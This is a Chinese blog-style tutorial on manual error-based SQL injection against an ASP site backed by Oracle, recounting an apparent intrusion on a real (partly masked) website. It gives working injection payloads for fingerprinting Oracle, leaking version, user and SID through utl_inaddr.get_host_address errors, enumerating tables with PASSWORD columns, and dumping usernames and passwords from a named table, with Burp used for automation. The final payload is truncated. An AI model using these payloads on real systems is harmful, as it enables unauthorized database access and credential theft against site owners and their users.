asp获取mysql数据报错_Oracle爆错手工注入

0x00 目标

目标:http://www.xxx.cc/view.asp?kind=NN4&bbsno=45

0x01 判断数据库类型

oracle 支持-- 类型注释,但是不支持;分隔执行多语句,oracle 有很多系统表,譬如user_tables,通过对这些表的访问也可以判断出是否属于oracle,另外在oracle 里的一些函数也可以用来判断,譬如utl_http.request 这些,语言上的小细节也可以用来区分系统,譬如在oracle 里|| 是连接符号,但是在其他数据库里就不是了,所以 and

chr(123)||chr(123)=chr(123)||chr(123)这样的,如果可以顺利执行,那么就基本应该是oracle 了。

我们在链接地址后加上单引号,返回信息

"[Oracle][ODBC][Ora]ORA-01756:단일 인용부를 지정해 주십시오 "

如下图

cd8a5a818282a92ca2f56ebfb4e19e9b.png

继续进行判断再此提交:

view.asp?kind=NN4&bbsno=45 and (select count (*) fromuser_tables)>0--

view.asp?kind=NN4&bbsno=45 and (select count (*) from dual)>0—

如下图:

11d85ccd7fb82a2345b40ac6f8183925.png

基本上可以确定是oracle 数据库了。Asp+oracle 的数据库很少少见啊!

接下来的渗透有两个方向,一个是通过爆错来获取我们所需要的信息,另外一个是通过union 联合查询来获取我们所需要的信息。由于这个注入点无法进行union,所以只有通过报错来获取勒。

0x02 爆错基本信息刺探

函数:utl_inaddr.get_host_address

用法:utl_inaddr.get_host_address(sql Injection)

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有:

1 当前用户权限 (select * from session_roles)

2 当前数据库版本 ( select banner from sys.v_$version where rownum=1)

3 服务器出口IP (用utl_http.request 可以实现)

4 服务器监听IP (select utl_inaddr.get_host_address from dual)

5 服务器操作系统 (select member from v$logfile where rownum=1)

6 服务器sid ( 远程连接的话需要, select instance_name fromv$instance;)

7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)

.....信息刺探如下图:

610aafee90324aebd8e9c8c8d75b0356.png

cbc016f73c98d247ad4538b22df417ac.png

49a7f1444ba30350fc011a4635b0acb7.png

获取信息如下:

数据库版本为:Oracle9i Release 9.2.0.8.0 – Production

当前数据库连接用户名为IGM

操作系统平台为windows;

服务器sid 为igm。

0x03 获取表名

Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名,我们就可以通过这些系统表来猜测系统的数据库结构了!

在这里也有个小技巧就是我们可以通过查询系统表来找找敏感字段如password 在哪个表中。首先我们看下含有password 的表有多少个。

语句如下:

select count(*) from user_tab_columns where column_name like '%25PASSWORD%25'

注意其中的%25 是% 的Url 编码, 通过这个语句就可以查询user_tab_columns 系统表,看里面列名与password 相似的记录的条数,注意列名要用大写表示哦!如下图:

1ceb35823f3ef8ee77597e4d218f0655.png

总共含有password 字段的表名有6 个,那我们如何知道password 字段所对应的表是哪个勒?以前有个古老的方法就是结合union 查询对应的表名。但是今天的情况特殊,无法进行union 联合查询,就算可以union 联合查询,也只能查询一个表,并且查询第二个表也是用TABLE_NAME<>’表名’来实现的,在表情况非常多的情况下,这总方法

就相形见拙勒。那有没有其他什么快捷的方法了?想想mysql 数据库手工注入中有limit 可以查看数据!那oracle 能否可以?Oracle 没有limit 这样的语句所以可以用where rownum=1 来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2 是不行的,这里可以再次嵌套一个子查询语句如下:

select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like '%PASSWORD%') where limit =2

这样就可以得到第二条记录了,灵活运用可以很快取得需要的数据

效果如下图:

8827c147191b274d1569af239492ec59.png

刚才我们前面已经查询到总共有6 个表含有password 字段那我们就结合神器burp 来获取下我们所需要的数据,至于burp 如何获取数据,请参考我的上篇文章。数据结果如图所示:

50b56ad4b2f08247dc2b2bd2ea31200c.png

不知道什么原因获取到的数据有误差只出现了4 个表,换其他的表也少几个

961d6750ccd398f176e3d30eb32f6129.png

9f1b6b0881332418366c639f39180653.png

0x04 获取列名

现在我们来看看表所对应的列名语句如下:

select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name=chr(70)||chr(71)||chr(87)||chr(49)||chr(48)||chr(49)||chr(84)) whEre limit =1

手工进行测试第一个如下图所示:

6a226fc0f5c42a552de7af99ab43cf98.png

成功报出第一个列名,后续的手工我们就用burp,爆出所有的列名,

过程如下图所示:

3091ea1863b04015657d641540d8a663.png

804dffeec723e7c0fb20176812472e87.png

d9278e6ba32d65d9b50957c899e4cfdc.png

dfb841ed7168822c4e4a7890d6089885.png

0x05 获取内容

现在知道所有的列了,那修改语句进行爆数据咯。。语句如下:

Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD||chr(35)||id||chr(35)||PASSWORD||chr(35)||NAME||chr(35)||IN_DATE||chr(35)||UP_DATE as data from FGW101T

b4a3ec4a0e3b5d21d22d05647bf24e3e.png

c2e7afa47b319e35404c908aab1e8836.png

教程完毕,渗透就到这里吧。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值